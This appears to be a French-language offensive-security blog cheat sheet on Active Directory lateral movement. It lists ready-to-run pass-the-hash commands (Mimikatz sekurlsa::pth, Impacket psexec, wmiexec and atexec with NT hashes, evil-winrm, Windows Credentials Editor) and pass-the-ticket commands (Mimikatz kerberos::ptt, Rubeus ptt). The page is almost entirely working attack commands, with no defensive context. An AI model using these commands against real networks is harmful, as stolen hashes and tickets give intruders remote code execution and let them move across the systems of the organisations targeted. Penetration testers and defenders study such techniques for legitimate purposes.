> For the complete documentation index, see [llms.txt](https://blog.hacktive.bebzounette.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.hacktive.bebzounette.com/active-directory/lateral-movement/kerberos/pass-the-hash-ticket.md).

# Pass the Hash/Ticket

## **Pass the Hash**

### Mimikatz :

```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```

### Impacket :

```
psexec_windows.exe -hashes ":NTHASH" user@<domain>
wmiexec_windows.exe -hashes ":NTHASH" user@<domain>
atexec_windows.exe -hashes ":NTHASH" user@<domain> 'whoami'
```

### EvilWin-RM:

```
evil-winrm -u <username> -H <Hash> -i <IP>
```

### Windows Credentials Editor :

```
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
```

## **Pass the Ticket**

### Récupérer les tickets en mémoire :

```
mimikatz.exe "kerberos::ptt "kirbi_ticket"
.\Rubeus.exe ptt /ticket:kirbi_ticket
```